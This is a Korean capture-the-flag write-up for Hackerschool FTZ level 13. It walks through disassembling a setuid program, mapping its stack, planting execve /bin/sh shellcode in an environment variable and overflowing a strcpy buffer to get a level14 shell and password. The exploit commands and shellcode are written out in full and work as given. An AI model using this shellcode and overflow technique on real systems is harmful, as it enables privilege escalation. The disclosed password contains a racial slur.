[FTZ] level 13 → level 14 문제풀이 본문

Pwnable/해커스쿨 FTZ write-up

[FTZ] level 13 → level 14 문제풀이

disso1p1 2020. 2. 29. 23:19

 

 

 

level13 - id : level13 , pw : have no clue

 

 

[level13@ftz level13]$ ls  
attackme  hint	public_html  tmp
[level13@ftz level13]$ cat hint

#include <stdlib.h> 

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

[level13@ftz level13]$ 

 

이번 문제는 level11 과 거의 같은 문제이지만

i 값이 바뀌지 않았나 확인해서 바뀌었으면 종료한다.

 

i 가 buf 보다 먼저 선언했기 때문에 buf 보다 높은 주소에 있다. (push i 를 먼저함)

그래서 ret 주소를 덮기 위해서는 변수 i 도 덮어야한다.

 

그러면 변수 i 의 위치를 구해서 i 의 값을 다시 0x1234567 로 덮고,

ret 값을 조작하면 된다.

 

스택에 들어간 데이터의 구조를 정확히 알기 위해 (dummy 길이 , 변수 i)

tmp 디렉토리에 attackme 파일을 복사해서 gdb 로 디버깅 해보자.

 

[level13@ftz level13]$ cp attackme tmp
[level13@ftz level13]$ cd tmp
[level13@ftz tmp]$ ls
attackme
[level13@ftz tmp]$ gdb -q attackme 
(gdb) set disas intel 
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>:	push   ebp
0x080484a1 <main+1>:	mov    ebp,esp
0x080484a3 <main+3>:	sub    esp,0x418
0x080484a9 <main+9>:	mov    DWORD PTR [ebp-12],0x1234567
0x080484b0 <main+16>:	sub    esp,0x8
0x080484b3 <main+19>:	push   0xc16
0x080484b8 <main+24>:	push   0xc16
0x080484bd <main+29>:	call   0x8048370 <setreuid>
0x080484c2 <main+34>:	add    esp,0x10
0x080484c5 <main+37>:	cmp    DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>:	jle    0x80484e5 <main+69>
0x080484cb <main+43>:	sub    esp,0x8
0x080484ce <main+46>:	mov    eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>:	add    eax,0x4
0x080484d4 <main+52>:	push   DWORD PTR [eax]
0x080484d6 <main+54>:	lea    eax,[ebp-1048]
0x080484dc <main+60>:	push   eax
0x080484dd <main+61>:	call   0x8048390 <strcpy>
0x080484e2 <main+66>:	add    esp,0x10
0x080484e5 <main+69>:	cmp    DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>:	je     0x804850d <main+109>
0x080484ee <main+78>:	sub    esp,0xc
---Type <return> to continue, or q <return> to quit---
0x080484f1 <main+81>:	push   0x80485a0
0x080484f6 <main+86>:	call   0x8048360 <printf>
0x080484fb <main+91>:	add    esp,0x10
0x080484fe <main+94>:	sub    esp,0x8
0x08048501 <main+97>:	push   0xb
0x08048503 <main+99>:	push   0x0
0x08048505 <main+101>:	call   0x8048380 <kill>
0x0804850a <main+106>:	add    esp,0x10
0x0804850d <main+109>:	leave  
0x0804850e <main+110>:	ret    
0x0804850f <main+111>:	nop    
End of assembler dump.
(gdb) 

 

0x080484a9 <main+9> 부분을 보면 ebp-12 위치에 0x1234567 를 넣는다.

즉, ebp-12 가 변수 i 의 위치이다.

 

그리고 0x080484d6 <main+54> 부분부터 보면 strcpy 함수로 복사하는 위치가 ebp-1048 이다.

 

변수 buf 는 byte 1024 byte 이므로 sfp 전까지 24 byte 가 남는다.

여기서 변수 i 는 ebp-12 자리인데, long 자료형은 4byte 이다.

 

 

그러므로

 

str(1024) + dummy(12) + i(4) + dummy(8) + sfp(4) + ret(4)

 

이런 구조이다.

 

 

 

구조를 다 파악했으니 쉘을 실행시키는 환경변수를 만들어보자.

 

 

쉘코드는

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

이것을 사용했다. (24byte)

 

[level13@ftz tmp]$ export SHELL=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
[level13@ftz tmp]$ env                                                                             
HOSTNAME=ftz.hackerschool.org
TERM=xterm-256color
SHELL=1�Ph//shh/bin‰�PS‰�™�
                           �€
JLESSCHARSET=ko
HISTSIZE=1000
SSH_CLIENT=172.16.21.1 52299 22
OLDPWD=/home/level13
SSH_TTY=/dev/pts/0
USER=level13
LS_COLORS=
MAIL=/var/spool/mail/level13
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level13/bin
INPUTRC=/etc/inputrc
PWD=/home/level13/tmp
LANG=ko_KR.euckr
PS1=[\u@\h \W]$ 
SHLVL=1
HOME=/home/level13
BASH_ENV=/home/level13/.bashrc
LOGNAME=level13
SSH_CONNECTION=172.16.21.1 52299 172.16.21.128 22
LESSOPEN=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES=1
_=/bin/env
[level13@ftz tmp]$ 

 

SHELL 이라는 이름으로 환경변수를 만들었다.

 

 

C 로 코드를 짜서 이 환경변수의 주소를 구해보자.

 

[level13@ftz tmp]$ vi sh.c

#include<stdio.h>

int main()
{
        printf("%p\n", getenv("SHELL"));
  
        return 0;
} 
~
~
~
~
~
~
~
~
~
~
~
[level13@ftz tmp]$ gcc -o sh sh.c
[level13@ftz tmp]$ ./sh
0xbffffd81
[level13@ftz tmp]$ 

 

SHELL 환경변수의 주소는 0xbffffd81 이다.

 

i 부분을 0x1234567 로, ret 을 0xbffffd81 로 덮고, 나머지는 A 로 덮으면 쉘을 딸 수 있겠다.

 

[level13@ftz level13]$ ./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\x81\xfd\xff\xbf"'`
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ my-pass
TERM environment variable not set.

Level14 Password is "what that nigga want?".

sh-2.05b$ 

 

 

 

 

 

Level14 Password is "what that nigga want?".

 

 

 

 

감사합니다

Comments